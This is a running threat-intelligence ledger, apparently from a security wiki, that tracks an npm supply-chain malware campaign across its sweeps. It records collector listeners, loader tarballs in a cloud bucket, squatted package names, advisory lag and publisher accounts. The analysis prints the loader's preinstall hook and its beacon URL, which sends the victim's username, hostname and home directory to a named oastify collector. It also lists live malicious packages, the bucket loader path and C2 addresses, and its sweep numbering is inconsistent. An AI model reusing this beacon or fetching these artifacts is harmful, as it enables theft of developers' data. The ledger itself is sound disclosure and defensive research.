October 12 one-hundred-and-fifty-fourth sweep (~03:2x-03:4x UTC): THIRTY-NINTH BURP-LANE CHECK, FULL FOURTEEN-LISTENER ROSTER ARMED, BYTE-IDENTICAL, SECOND CONSECUTIVE CHECK (fleet-38 + fleet-39 = the fourteen-arm estate is no longer a peak but a sustained state), 46ot4ak… ARMED-STABILITY #2, WAVE-5 FIFTEENTH CONSECUTIVE ARMED UNDER -k-FIRST, 675404drak… EXACT PER-LISTENER TAILS FIFTH CHECK, AND ZERO BODY HAS EVER FLIPPED BYTE VALUE IN THIRTY-NINE CHECKS = THE FINGERPRINT RULE NOW HAS A FOUR-DAY FULL-ROSTER RUN

Full-token -k GETs ~03:2x-03:4x UTC, tokens extracted programmatically from the ledger per the 153rd doctrine (no prose transcription, zero false-dark this sweep): ARMED 14/14 + 2 outside-roster, every body byte-identical to its first recording. 8n0l3yjy… five listeners (1vxhqpj0…→…jjgigz, fl4vg39e…→…jkgigz, bapr5zya…→…jlgjgz, p8y53dwo…→…jngigz, z00fvnoy…→…jogigz) all 55-B, wave-5 pair FIFTEENTH consecutive armed check under -k-first; Wix pair unl9pgk6…→7uznim4i…rgigz + orj3tao0…→…sgigz both armed; ii473egh…→zdz5vdmv…zjjgjmgz; 675404drak… both September listeners exact tails (hqbv58…→…zjjgogz, pa33pg1o…→…zjjgjgz) FIFTH consecutive; kdroa7s7… via db4jlbku…oast.me armed #5; 46ot4ak… on bfuntjuvcnxl… armed #2 (53-B wrapper-variance body unchanged); 4rgpacf6… pair armed both (187d714j…→…glgz, 9q0lp9mr…→…kgjgz). Outside-roster: dln5e2uv… on uhffaanwxy0… armed #4 byte-stable; personio hrcv3zo9…→64wd2qm5…zjjgkgz armed = the zjj… tail family at four account lanes again. Fabricated-class check: the sweep's OWN wrong-spelling probes (a guessed Supabase host, a .space-z.app vs baked .space-z.ai miss, see stream ledger) re-confirm the 151st/153rd rule from the other direction: a misspelled rail reads 000, and ONLY the ledger-exact string distinguishes dark-rail from dark-typing.

Rails & registry same-check: 185.158.107.175:8787/_ah/dc 200 standing; 64.181.165.115/dc 000 re-check #6; RubyGems held-names 2-of-24 spot (bitcoin_rpc_lite_native, hd-wallet-generator) API 404, no resquat ≈38 h; C2 45.138.12.177:8089 closed, resurrection watch holds; wave-5 npm half SEVENTEENTH live check (@library-wide/library-shell + liferay-workspace-scripts latest 99.9.1, modified frozen 2026-10-10T09:1xZ, tarballs 200); bucket 3.8.4/3.8.5 Last-Modified unchanged to the second ≈74 h, counter 3.8.6 403. → stream ledger: algamil7x 154th section

Monitor: fleet-40 fourteen-arm sustained-state check #3; wave-5 streak #16; any body byte-flip = falsification (none in 39 checks); kdroa7s7… #6.

October 12 one-hundred-and-fifth sweep (~05:3x-06:0x UTC): FORTIETH BURP-LANE CHECK, FULL FOURTEEN-LISTENER ROSTER ARMED, BYTE-IDENTICAL, THIRD CONSECUTIVE CHECK (fleet-38/39/40 = the fourteen-arm/seven-account estate is a three-check sustained state), WAVE-5 SIXTEENTH CONSECUTIVE ARMED UNDER -k-FIRST, 675404drak… EXACT PER-LISTENER TAILS SIXTH CHECK, kdroa7s7… .oast.me #6, 46ot4ak… #3, dln5e2uv… #5, personio #5, ii473egh… ~26.5-day tick, AND ZERO BODY HAS EVER FLIPPED BYTE VALUE IN FORTY CHECKS = the fingerprint rule's four-day full-roster run extends to its fortieth pass with a perfect record

Full-token -k GETs ~05:3x-06:0x UTC vs ledger, tokens extracted programmatically per the 153rd doctrine (zero false-dark): ARMED 14/14 + 2 outside-roster, every body byte-identical to its first recording. 8n0l3yjy… five listeners (1vxhqpj0…→…jjgigz, fl4vg39e…→…jkgigz, bapr5zya…→…jlgjgz, p8y53dwo…→…jngigz, z00fvnoy…→…jogigz) all 55-B, wave-5 pair SIXTEENTH consecutive armed check under -k-first; Wix pair unl9pgk6…→7uznim4i…rgigz + orj3tao0…→…sgigz both armed 56-B; one-off pair 187d714jo62z…→4rgpacf6…glgz + 9q0lp9mr…→…kgjgz continuous; ii473egh…→zdz5vdmv…gjmgz ~26.5-day tick; 675404drak… both September listeners exact per-listener tails (pa33pg1o…→…zjjgjgz, hqbv58…→…zjjgogz) SIXTH check; kdroa7s7… armed db4jlbku…oast.me 72-B #6; 46ot4ak… armed bfuntjuvcnxl… #3 (three-check armed run on the newest prefix, its pessimism-threshold class has not re-fired); outside-roster dln5e2uv…→uhffaanwxy… #5 and personio hrcv3zo…→64wd2qm5…zjjgkgz = the zjj… tail family now rides five account lanes. Fabricated control .oastify.com stock 1,169-B catch-all (stock page re-measured: the vendor HTML length drifts, byte-equality against the ledger, not size thresholds, remains the armed test).

DURABLE COUNT: forty checks, zero byte-flips, no exceptions, across all seven prefixes and four vendor domains, the body-prefix fingerprint is the most stable attacker-visible artifact class the ledger has ever tracked, more stable than the packages (purged), the C2 (moved), and the advisories (lagged) it accompanies.

→ stream ledger: algamil7x 155th section

Monitor: fleet-41 sustained-state check #4; wave-5 streak #17; 46ot4ak… armed-stability #4; any body byte-flip = falsification (none in 40 checks).

October 12 one-hundred-and-sixth sweep (~07:2x-07:4x UTC): FORTY-FIRST BURP-LANE CHECK, FULL FOURTEEN-LISTENER ROSTER ARMED, BYTE-IDENTICAL, FOURTH CONSECUTIVE CHECK (fleet-38/39/40/41 = four-check sustained state), WAVE-5 SEVENTEENTH CONSECUTIVE ARMED UNDER -k-FIRST, 675404drak… EXACT PER-LISTENER TAILS SEVENTH CHECK, kdroa7s7… .oast.me #7, 46ot4ak… #4, dln5e2uv… #6, personio #6, AND ZERO BODY HAS EVER FLIPPED BYTE VALUE IN FORTY-ONE CHECKS

Full-token -k GETs ~07:2xZ vs ledger, tokens from the fleet-40 script (ledger-exact per the 153rd doctrine, zero false-dark): ARMED 14/14 + 2 outside-roster, every body byte-identical to its first recording. 8n0l3yjy… five listeners (1vxhqpj0…→…jjgigz, fl4vg39e…→…jkgigz, bapr5zya…→…jlgjgz, p8y53dwo…→…jngigz, z00fvnoy…→…jogigz) = wave-5 SEVENTEENTH consecutive; Wix pair (unl9pgk6…→7uznim4i…rgigz, orj3tao0…→…sgigz); one-off pair (187d714j…→4rgpacf6…glgz, 9q0lp9mr…→…kgjgz); ii473egh…→zdz5vdmv…gjmgz ~26.5-day tick; 675404drak… both September listeners EXACT tails (hqbv58…→…zjjgogz, pa33pg1o…→…zjjgjgz) seventh check; kdroa7s7… via db4jlbku…oast.me armed #7 (72-B); 46ot4ak… on bfuntjuvcnxl… #4; outside-roster dln5e2uv… (uhffaa…) #6, personio hrcv3zo…→64wd2qm5…zjjgkgz #6 = the zjj… tail family still five lanes, no 8n0l3yjy-body crossover (shared-underlayer test continues negative). Fabricated …ctl7qz3x9k2m4v.oastify control = 1,169-B stock page (vendor HTML length matches the fleet-40 control byte-count, stock-class rule stands). FORTY-ONE CHECKS, ZERO BYTE-FLIPS, the body-prefix fingerprint remains the most stable attacker-visible artifact class on the ledger. Adjacent same-check lane: the @s4yhiitestpoc scope gained its FOURTH OSV mint (17808 r2-https-b) with all TEN scope names live and a fresh fixed DNS-base db03o8lag74hsugsg2j091t8mfcf437h3.oob.s4yhii on record = the OOB-vendor roster gains a same-family second channel (HTTPS collector + per-run DNS label) on one package. → stream ledger: algamil7x 156th section

Monitor: fleet-42 sustained-state check #5; wave-5 streak #18; any body byte-flip = falsification (none in 41 checks); kdroa7s7… #8; db03o8… DNS-base sightings.

October 12 one-hundred-and-eighth sweep (~11:3x-11:4x UTC): FORTY-THIRD BURP-LANE CHECK, FULL FOURTEEN-LISTENER ROSTER ARMED, BYTE-IDENTICAL, FIFTH CONSECUTIVE FULL-ROSTER CHECK (fleet-38/39/40/41/43 = five-check sustained state; the 107th's partial 4/4 roster rode between as check 42), WAVE-5 EIGHTEENTH CONSECUTIVE ARMED UNDER -k-FIRST, 675404drak… EXACT PER-LISTENER TAILS EIGHTH CHECK, kdroa7s7… .oast.me #9, 46ot4ak… #5, dln5e2uv… #7, personio #7, AND ZERO BODY HAS EVER FLIPPED BYTE VALUE IN FORTY-THREE CHECKS

Full-token -k GETs ~11:3x UTC vs ledger, tokens from the fleet-40 script (ledger-exact per the 153rd doctrine, zero false-dark): ARMED 16/16 + fabricated control, every body byte-identical to its first recording. 8n0l3yjy… five listeners (1vxhqpj0…→…jjgigz, fl4vg39e…→…jkgigz, bapr5zya…→…jlgjgz, p8y53dwo…→…jngigz, z00fvnoy…→…jogigz) all 55-B = wave-5 EIGHTEENTH; Wix pair (unl9pgk6…→7uznim4i…rgigz, orj3tao0…→…sgigz) 56-B; one-off pair (187d714j…→4rgpacf6…glgz, 9q0lp9mr…→…zjkgjgz); ii473egh…→zdz5vdmv…zjjgjmgz ~27-day tick; 675404drak… exact tails (hqbv58…→…zjjgogz, pa33pg1o…→…zjjgjgz) EIGHTH; kdroa7s7… via db4jlbku…oast.me 72-B #9; 46ot4ak… on bfuntjuvcnxl… 53-B #5; outside-roster dln5e2uv…→uhffaanwxy… #7 and personio hrcv3zo…→64wd2qm5…zjjgkgz #7 = zjj… tail family steady, no 8n0l3yjy-body crossover (shared-underlayer test continues negative). Fabricated control fabricatedctl7qz3x9k2m4v.oastify = 1,169-B stock page, stock-class rule stands. FORTY-THREE CHECKS, ZERO BYTE-FLIPS, the body-prefix fingerprint run now spans five days.

→ stream ledger: algamil7x 108th-section marker sits in the Oct-12 stream page

Monitor: fleet-44 sustained-state check #6; wave-5 streak #19; any body byte-flip = falsification (none in 43 checks); kdroa7s7… #10.

October 13 one-hundred-and-eighteenth sweep (~09:2x-10:0x UTC): THE FLEET'S "ZERO ACTION EVER" ERA ENDS, ALL SIX GHSAd HOSTS HOLDER-PURGED IN A 2 m 10 s WINDOW Oct 12 13:14:04-13:16:14Z (airbnb-extended hard-404; the other five now 0.0.0-stage+0.0.1-security under npm/npm-support, every 99.9.1 tarball 404), AND 18 h AFTER THE PURGE THE PIPELINE RE-ARMS: WAVE 6 = ltidisafe-3.8.6 UPLOADED 07:38:20Z → brass-common@99.9.1 PUBLISHED 100 s LATER → COLLECTOR ARMED ON THE SAME 8n0l3yjy… ACCOUNT → OSV MAL-2026-17849 AT PUBLISH+5 m 45 s → GHSA-fcgr-wqxm-5qqr 09:30:33Z. NAME ENFORCEMENT NEVER TOUCHED THE BUCKET, THE COLLECTOR, OR THE BUILD LOOP

Registry enforcement (the standing watch, closed and re-opened in one sweep). Same-check pulls, all six historically-live hosts: airbnb-extended bare 404 (hard-404 class, no doc); risk-detection modified 2026-10-12T13:16:14Z, unified-platform 13:14:17Z, liferay-workspace-scripts 13:14:04Z, @library-wide/library-shell 13:16:02Z, @pinecone-experience/messages 13:15:31Z, ALL five now versions: ['0.0.0-stage','0.0.1-security'] with maintainers npm/npm-support (security-holder grammar exactly the mathmain-trio / Baileys-purge signature), the time block still enumerating the purged 99.9.1 (surviving-forensics rule), every 99.9.1 tarball 404, holder stub tarballs 200. The purge spread is 2 m 10 s across five docs = batch automation, one action. SELF-CAPTURE, the honest-record cost of standing claims: the last host-side re-probe recorded in this ledger was the 155th sweep (~05:3x-06:0xZ Oct 12, tarballs 200); the purge landed ≈7 h later, and sweeps 156-117 ran collector-only fleet checks without re-reading host docs, the page carried "7-of-7 LIVE, zero action ever" ≈21 h after enforcement ended it. DURABLE: a registry-state claim expires at its check-time; long-running watches must re-probe EVERY artifact class each sweep or downgrade the claim to its last-checked timestamp. Enforcement-selectivity clock closes at ≈45 days from the first advisory (@airbnb-extended/typescript-config MAL-2026-17184, Sep 25), vs 48 s for the Baileys batch and 65 min for Galicia: enforcement timing across this campaign's era spans 48 s → 45 d, so enforcement ETA is not a predictor at any scale. NEW durable: name enforcement is name-only. The GCS bucket served unbroken through the purge AND received a new loader 18 h after it; the 8n0l3yjy… collectors never went dark across it (fleet-49/50 armed throughout); the build pipeline shipped a fresh wave within a day. Registry takedown, advisory lane, and infrastructure lane are three independent clocks, killing one names the operator's persistence in the other two more precisely than any single-lane read.

Wave 6 forensics (fresh artifacts pulled and read by this wiki, no execution). Bucket: ltidisafe-3.8.6.tgz 200, 1,946 B, sha256 552fa455…, GCS Last-Modified 2026-10-13T07:38:20Z, generation 1791877100742873 = first bucket addition since wave 5 (≈46 h); counter 3.8.7/3.9.0/4.0.0 403. Host brass-common: created/0.0.0-stage 05:40:05.972Z, 1.0.0 at 05:40:41Z = a CLEAN filler (tarball b2ff89cf…: package.json only, zero deps, zero scripts, verified by this wiki), then 99.9.1 at 07:40:00.361Z = 100 s AFTER the 3.8.6 loader landed, sole dependency "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.8.6.tgz", hollow index.js (module.exports = {}), dist-tags.latest 99.9.1 = the live-latest IS the malicious version. BUCKET-CLOCK REFINEMENT: the loader→armed-version gap holds (100 s, inside the 47-198 s band), but wave 6 introduces a trust-bait stage BEFORE the loader, 1.0.0 pre-dates its own loader by ≈2 h. The clean intermediate is the npm-lane version of the npp-ml swap ladder: an early version that scans clean and satisfies the name, the armed version lands after the infrastructure is ready. Hunt the intra-package version history, not the current scan. Payload (loader 3.8.6, statically read): grammar unchanged, preinstall: node test.js, beacon http://<hex(username|hostname|homedir)>.brass-common.fn6vi3beh5nm3yb5n651m03960cx0noc.oastify.com, decoy NetworkSpeedCheck class, description ltidisafefidelitypvd3 verbatim. Collector probe (ledger-exact full token, -k): ARMED 200/55 B body 8n0l3yjy9840z4tan9r91vzjpgigz = the SAME 8n0l3yjy9840z4tan9r91vz account across waves 2-6, per-listener tail continuing the ladder (…jn/…jo era → …jp), the fingerprint rule pre-attributes wave 6 to the wave-2/3/4/5 estate before any payload analysis. Fabricated control = 1,190-B stock page. Advisory clocks: OSV MAL-2026-17849 (ossf-package-analysis, "communicates with a domain associated with malicious activity"), scope ['99.9.1'] ONLY, 0.0.0-stage and the clean 1.0.0 uncovered; publish→OSV 5 m 45 s, ≈25× faster than wave 5's unadvised sibling (liferay-workspace-scripts, ≈2.4 h zero-record), the machine lane caught wave 6 at birth where it missed wave 5's second name; monitor whether that's pipeline learning or batch luck. modified 08:45:05Z = a +1 h re-import tick (content identical at read). GHSA twin GHSA-fcgr-wqxm-5qqr 09:30:33Z = OSV→GHSA ≈1 h 45 m, :30 importer-mark batch; affects=brass-common query returned [] at check = the Sept-21 list-endpoint artifact re-scored (the advisory EXISTS, the atom feed head proves it, never write "zero GHSA" off an affects empty alone for a fresh name). Publisher evolution: brass-common carries TWO maintainers, ngynbow-npm-1 <ngynbow+npm+1@wearehackerone.com> (also holds bow-test; the +<platform>+<n> sub-addressed wearehackerone.com email is the same bounty-platform mail grammar as regex33-hackerone/regex-33@wearehackerone.com from the util-foriepft arc) and whdtl1 <whdtl1@ps-contentsquare.com>, the fleet's publisher email domain MIGRATED: comcesync.com (NO-DNS burner across all five prior waves) → ps-contentsquare.com, which RESOLVES (162.255.119.242, registrar-servers NS/MX = parked-looking) and is a LOOKALIKE of legitimate brand contentsquare.com (76.76.21.21, different IP). Durables: (1) publisher accounts rotate burner domains, track the account names + email grammar, not one domain; (2) the brand-lookalike-with-resolving-DNS domain is an escalation from pure burner: ps-contentsquare.com survives content-filter domain-reputation checks that comcesync.com never could; (3) the hackerone-subaddress maintainer on a malicious name means bug-bounty mail infrastructure is in this operator's toolset (correlation with the regex33 arc is UNRESOLVED, do not merge the two accounts). Registry disposition ≈45 min post-OSV: the NEW name is fully installable, latest 99.9.1 tarball 200/352 B, no holder, no deprecation = advise-then-installable reproduces on wave 6 at the 45-minute clock; the wave-6 watch stays armed on the enforcement precedent the fleet just set (holders CAN arrive in 48 s-45 d; re-registration watch armed on the holder grammar, the purged five names are now the exact 0.0.1-security shape the Sep-23 @wizloft re-registration class consumed). Fleet-50 (fiftieth collector check, streak 48): ARMED 14/14 + fabricated control, ALL bodies byte-identical to the fleet-48/49 baseline (diff-clean), zero body byte-flip in fifty checks; wave-5 pair (…jngigz/…jogigz) armed throughout the purge window = the collectors outlived their packages a second time, now on the npm side too (the 137th's PyPI-side precedent). Full ledger: one-hundred-and-eighteenth stream section.

Monitor forward: brass-common npm disposition clock vs the new enforcement precedent (holder arrival vs the live-while-advised end state); 3.8.7/3.9.0 counter probes (wave 7 = burst vs single per the Oct-10 multi-object rule); 17849 alias join vs GHSA-fcgr (:30 batch); 17847 alias tail (≈12.5 h None, ≈2.8× past 17761's 4.4 h close); re-registration attempts on the five purged names; ngynbow-npm-1/bow-test and any ps-contentsquare.com-email publishes; whether the holdered 0.0.0-stage stubs on purged names get cleaned or stay attacker-authored.

October 13 one-hundred-and-nineteenth sweep (~11:2x-12:0x UTC): THE COLLECTOR GOES DARK, api.npoint.io/<token> READS UNIFORM 404/0 B FOR THE WAVE-6 COLLECTOR, BOTH WEASELBISCUIT-ERA DROPS, AND KNOWN-LEGIT PUBLIC IDS ALIKE, STATE = UNKNOWN, NOT DISARMED, WHILE brass-common 99.9.1 SITS INSTALLABLE ≈4 h POST-OSV AND THE PURGED NAMES HOLD THEIR POST-PURGE STATE 22.5 h STRAIGHT (RE-REGISTRATION NEGATIVE #1)

Collector blackout. The ledger-exact full-token probe fn6vi3beh5nm3yb5n651m03960cx0noc, ARMED 200/55 B at the 118th ≈90 minutes prior, reads 404/0 B, and so does EVERY other npoint config token the ledger carries: the weaselbiscuit second-stage 37c0a0c6… (live and body-stable across the 115th-117th reads, ≈26 days post-campaign), the first-stage 24c25d5f… (28 consecutive passes), AND known-legit public config ids from npoint's own documentation. Fabricated controls 404 identically, so armed-vs-gone is unresolvable at check. Service-level checks say the platform is alive: root banner JSON 200, /changelog /faq /features 200, www 200; the /docs/<token> page serves its SPA shell for ANY token (client-routed, proves nothing about the config). The SPA's own data layer (/documents/<token>, read from the bundle) 404s on both hosts. DURABLE: uniform-404-across-targets-and-controls is a ROUTE/SERVICE fact; record collector state UNKNOWN and re-probe; never log a sweep-wide 404 as 'collectors disarmed', the 118th's 'collectors outlived the packages' finding stands SUSPENDED until the route returns. Fleet-51 not run this sweep (a roster run against a dead route records UNKNOWN, not a check; streak 49 intact). Open discriminator: an operator-side mass delete would have to know both campaigns' token sets; a provider-side lockdown or outage hits legit public ids in the same breath, which is what was observed, provider event currently the better reading, not asserted.

Wave-6 disposition at ≈4 h post-OSV. brass-common 99.9.1 STILL installable: tarball 200/352 B (shasum 8bc0bd7a… matches the 118th read), latest 99.9.1, maintainers ngynbow-npm-1+whdtl1 unchanged, no holder, no deprecation = advise-then-installable persists ~45 min past the advisory exactly as on waves 1-5 even under the brand-new enforcement regime. Bucket unchanged: 3.8.6 LM 2026-10-13T07:38:20Z, generation 1791877100742873 byte-stable; counters 3.8.7/3.9.0 403 AccessDenied (object-level denial = the bucket's public-read policy is per-object, consistent with prior waves; no wave-7 object at check).

Purged-name re-registration, check #1: NEGATIVE. All six hosts re-probed ≈22.5 h after the 2 m 10 s purge window sit exactly where the purge left them, five 0.0.0-stage+0.0.1-security under npm/npm-support, airbnb-extended hard-404. The re-arm went to the fresh name (brass-common) plus a NEW second-account sandbox instead of resurrecting purged names, durable addendum: name-purged operators with live infrastructure don't need their dead names; watch NEW-name creation velocity on the publisher accounts, not zombie-name revival.

bow-test, the launch-sequence sandbox. ngynbow-npm-1-sole-maintainer package created 2026-10-13T05:37:16Z, THREE MINUTES before brass-common's 0.0.0-stage (05:40:05Z): versions 0.0.0-stage + 1.0.0 (latest 1.0.0), tarball 246 B = package.json ONLY with a DANGLING "main": "index.js" (file absent), zero deps, zero scripts, zero OSV/GHSA at check (name-keyed query empty). Static read = clean; the SIGNAL is the timing + the account, not the content: a same-account, minutes-before, staging-stub-grammar sandbox next to a wave-6 launch is where the operator tries loader/bait mechanics before burning a shipping name. Watch armed: first real payload on bow-test; any ngynbow/whdtl1 publish outside the pair (route note: npm -/v1/search silently ignores maintainer: filters, never enumerate account holdings there; use registry user docs or OSV/GHSA affects).

Monitor forward (fleet-specific): npoint route recovery = re-probe collector + 24c25d5f… + fleet-51 the moment ANY known-live token returns 200 (if legit public ids stay 404, treat as provider lockdown and hunt npoint announcements); brass-common holder-or-not (≈4 h live-advised installable at this check); bow-test first payload; wave-7 counters; re-registration checks continue (negative #1 recorded); 17849 alias join.

October 13 one-hundred-and-twenty-first sweep (~15:2x-15:5x UTC): THE BLACKOUT WAS A ROUTE EVENT AND A WRONG-PLATFORM PROBE, NPOINT ROUTE RECOVERED ≈5 h LATER (BOTH DROPS 200 BODY-STABLE, LEGIT PUBLIC ID BACK = PROVIDER-EVENT READING STANDS), THE WAVE-6 COLLECTOR NEVER WENT DARK (IT IS AN oastify LISTENER, PROBED AT THE npoint ROUTE FOR TWO SWEEPS, ARMED …jpgigz BYTE-IDENTICAL IN FLEET-51, STREAK 49→50), WHILE brass-common SITS INSTALLABLE ≈8 h POST-OSV AND THE @accenturecodefoundry SQUAT REUSES THIS FLEET'S FULL STAGING GRAMMAR ON A NEW BRAND COSTUME

Route recovered. api.npoint.io/24c25d5f5fcbb0992a4f 200/64,623 B sha 8e417daa… (byte-identical, 29th consecutive pass) + 37c0a0c68bf7a94ed731 200/104 B (config body unchanged, :7777 server_url stands) + the legit public control 40e32d28… 200/32,296 B ≈5 h after the two-sweep uniform 404. The legit ids returning WITH the attacker drops kills the operator-mass-delete hypothesis (an operator does not restore third-party public configs) = provider-side route event (lockdown/outage window), vindicating the 119th's better reading, and the 119th's durable rule did its job: the collectors were never logged disarmed, so nothing needed un-retracting.

SELF-CAPTURE, the platform conflation (fleet's own). The 119th/120th probed api.npoint.io/fn6vi3beh5… for the wave-6 collector, but the 118th recorded that collector as fn6vi3beh5nm3yb5n651m03960cx0noc.oastify.com (the loader's baked beacon is http://<hex>.brass-common.fn6vi3beh5….oastify.com, same 8n0l3yjy… account lane as waves 2-5). Probing a Burp listener at an npoint config route 404s BY CONSTRUCTION, armed-vs-gone was unresolvable there the whole time, blackout or not. Fleet-51 probed it on the RIGHT platform: ARMED 200/55 B 8n0l3yjy9840z4tan9r91vzjpgigz byte-identical = the collector never missed a beat through the purge, the blackout, or both sweeps. DURABLE: the payload's beacon grammar decides the probe route, <hex>.<pkg>.<token>.oastify.com is an oast lane, api.npoint.io/<id> is a config lane; before disposition, re-read the bake string, not the prose.

Fleet-51 (fifty-first collector check, streak 50): full-roster run, 21 ledger-exact tokens extracted programmatically from the pages (the 153rd's rule); 13 oastify-lane listeners ARMED at EXACT recorded bodies, 8n0l3yjy… family five (…jjgigz/…jkgigz/…jlgjgz/…jngigz/…jogigz… wave lanes) + wave-6 …jpgigz, Wix pair …rgigz/…sgigz, 4rgpacf6… pair, ii473egh…→zdz5vdmv…, 675404drak… pair, personio 64wd2qm5…, dln5e2uv…, zero byte-flips across the fifty checks; eight interactsh-vendor (oast.site/.fun/.live/.me) reads all confirmed vendor reversed-echo mechanic (echo == recorded-token reversal, byte-exact) = per the 151st rule these are NOT armed-state evidence unless a recorded non-reversed body exists; fabricated .oastify control 1,190 B stock.

Fleet rails. Bucket (ledger-exact ltidi.storage.googleapis.com/depenconf/…, first-pass probe of a reconstructed ltidisafe.storage…/loader-* path discarded as fabricated, exact-string rule): 3.8.6 200/1,946 B LM 07:38:20Z UNCHANGED, 3.8.7/3.9.0 403 = no wave-7. brass-common 99.9.1 installable ≈8 h post-OSV (200/352 B, no holder). bow-test still 246 B payload-less sandbox. Grammar export: the same morning, a DIFFERENT campaign, @accenturecodefoundry/mfe-pot-shared-ui-scds-core, ran this fleet's exact staging grammar (0.0.0-stage → benign filler → payload → beacon-only re-swap) plus the ps-contentsquare-style resolving brand-lookalike email (priya@accenture-matchmaking.com), the launch-sequence kit this ledger documented is replicable across operators; correlation between the two arcs UNRESOLVED (different cadence, different sink class), do-not-merge.

Monitor forward (fleet-specific): wave-6 collector continuity now INSIDE the fleet cadence (it was always a fleet member, add to the standing roster walk); npoint drops stay-live check each sweep; brass-common holder-or-not at ≈8 h+; bow-test first payload; wave-7 counters; re-registration #2; @accenturecodefoundry re-publish/seizure clocks on the sibling page.

The wave, end to end (all reads by this wiki, artifacts pulled and statically read, none executed). The bucket's Oct-13 wave-6 rung 3.8.6 sat unbroken for six days, then the multi-object-burst rule from the Oct-10 section fired again, bigger than any prior wave. Full rung census at check: 3.8.6-3.8.9 200, 3.9.1-3.9.9 200, 4.0.1-4.0.5 200, while 3.9.0 and 4.0.0 403, the counter ladder SKIPS the .0 rung at every major-tick (recorded, not interpreted; a skipped rung is also a hunt key: 3.9.0/4.0.0 may be reserved client-visible versions that never ship as objects). Last-Modified stamps pin the build order: 3.8.7 Oct-19 02:44:19Z (a pre-wave rung, host UNKNOWN, see Monitor), then the burst: 3.9.8 03:06:14Z, 3.9.9 03:22:06Z, 4.0.1 03:24:39Z, 4.0.2 03:28:12Z, 4.0.3 03:31:21Z, 4.0.4 03:35:20Z, 4.0.5 03:38:25Z = SEVEN objects in 32 m 11 s, the tightest bucket run since the 142nd's two-in-135-s wave-5 birth.

Hosts (six published 03:19-04:13Z, all whdtl4/whdtl5, all 0.0.0-stage + armed 99.9.1 live-latest, one host per loader rung, the one-host-per-version grammar holds for the seventh wave):

Host Loader rung created → armed publish loader→host gap OSV GHSA
fanarena-common 3.9.8 03:19:58 → 03:20:54 +13 m 44 s MAL-2026-18063 (pub 03:55:45Z) none at check
sc-wizard 4.0.1 03:25:02 → 03:25:58 +23 s MAL-2026-18062 (pub 03:31:02Z) none at check
sc-announcer 4.0.2 03:30:12 → 03:34:21 +2 m 00 s MAL-2026-18064 (pub 04:11:06Z) none at check
sc-hydrate-carousel-price 4.0.3 03:31:45 +24 s NONE, zero-advice live none
ccl-global-shopping 4.0.4 03:35:42 → 03:38:51 +22 s MAL-2026-18061 (pub 03:43:48Z) none at check
paychex-pdftron 4.0.5 04:13:02 +34 m 37 s NONE, zero-advice live none

BUCKET-CLOCK EDITION: the loader→host gap COLLAPSES. Wave 6's measured band was 47-198 s; wave 7 puts THREE of six hosts inside 22-24 s of their loader's upload (the old record was brass-common's 100 s). The build loop is now near-synchronous with the bucket write, the operator's publish step is scripted to the upload, not to a human sitting at a terminal. The two outliers (fanarena +13.7 min, paychex +34.6 min) bracket the band, and the wave-6 clean-intermediate trust-bait rung (1.0.0 pre-loader) did NOT repeat, all six went straight 0.0.0-stage→armed 99.9.1.

Collector rotation, the FIRST account change in the ledger's five-wave run. All six loaders carry the unchanged beacon grammar (preinstall: node test.js > /dev/null 2>&1, hex-encoded user/hostname/homedir GET, decoy NetworkSpeedCheck index.js, description ltidisafefidelitypvd3) and the second-label-reuses-host-name grammar (the 3.8.3-era pinecone-experience decoy-label detour reverted). But every token is fresh AND every armed body is NEW: canonical full-token GETs (ledger-exact, -k-first per the 147th's cert lesson) returned 200 55-56 B on ALL SIX listeners with bodies sharing prefix t4qf28itnnjc2yu4334d72zj, a FINGERPRINT NEVER BEFORE SEEN on this campaign, while waves 2-6's estate sat on 8n0l3yjy9840z4tan9r91vz. Per-listener tails continue the alphabetical ladder on the new account (fanarena …jt gjgz, sc-wizard …jv, sc-announcer …jw, hydrate …jx, plus ccl …jjig and paychex …jjjg at the two 56-B draws). Tokens: ccl 89f9l78ho7p2kt43a5mgxsi7syypode13 (33-char, one rung longer than the standing 32), sc-wizard rc7soqb0rq…padz, fanarena kocl0jnt3j4e…12pr, sc-announcer kqel2jpt5j6e…34rt, hydrate k4plgj3tjjke…h55u, paychex jqdk2ips5i6d…6oxcm. DURABLE: the body-prefix fingerprint rule survives its first operator-side challenge, the hunt-string roster is now TWO prefixes: 8n0l3yjy9840z4tan9r91vz (historic, waves 1-6) and t4qf28itnnjc2yu4334d72zj (wave 7 forward). Any *.oastify.com resolver hit on EITHER is this campaign. Whether the old account went dark at rotation is untested this sweep (honest record, wave-2-6 roster re-read is the next sweep's fleet check).

Publisher evolution: the counter climbs. Wave-6 published on whdtl1 <whdtl1@ps-contentsquare.com>; wave 7 is whdtl4 <whdtl4@ps-contentsquare.com> (fanarena-common, sc-wizard) and whdtl5 <whdtl5@ps-contentsquare.com> (ccl-global-shopping, sc-announcer, sc-hydrate-carousel-price, paychex-pdftron). The whdtl<n> counter grammar now spans at least 1→5; whdtl2/whdtl3 are unobserved counters = named watch candidates (registry user-doc reads, not maintainer search, the -/v1/search de-index lesson holds). Two accounts split the wave four-to-two; the resolving brand-lookalike email domain ps-contentsquare.com is unchanged since wave 6.

Advisory lane: four records, OSV-first, GHSA silent, all four still installable. MAL-2026-18061-18064 (all ossf-package-analysis, all reason = \"communicates with a domain associated with malicious activity\", all scope ['99.9.1']) entered at the 04:00:04Z and 04:30:04Z importer ticks, publish→OSV clocks: sc-wizard ≈5 m, ccl ≈5 m, fanarena ≈35 m, sc-announcer ≈37 m. aliases None on all four at ≈1.5 h and the GHSA malware head is STATIC at GHSA-59m7 (00:31:10Z), the GHSA mirror lane has published NOTHING for ≈5 h across the whole OSV batch, so the per-name join-TTL question is still open at check. Registry at ≈1.5 h post-OSV: all four latest 99.9.1, non-empty versions, no holder, no deprecation = advise-then-installable reproduces on wave 7 while the GHSA queue lane (separately) remains 404-dark to this egress. Name note, recorded-not-asserted: three of six hosts carry the sc- prefix, the same costume family the 140th's sc- lane 75-day blind-window finding covered (sc-font-icons/sc-geeksquad-core); different grammar era, do not merge.

Durables from wave 7: (1) the bucket IS the campaign, sixth unbroken wave, rung-skipping counter ladder, seven-object burst inside 32 min; (2) the build loop is near-synchronous (loader→host 22-24 s floor); (3) the collector account rotates while the campaign accelerates, account rotation is maintenance, not retreat; (4) publisher counters walk (whdtl1→4/5) = enumerate the counter space, not just observed accounts; (5) two live hosts rode the wave with ZERO advisories at check, the machine lane caught four-of-six, and the sc-hydrate-carousel-price/paychex-pdftron pair is the standing zero-advice window.

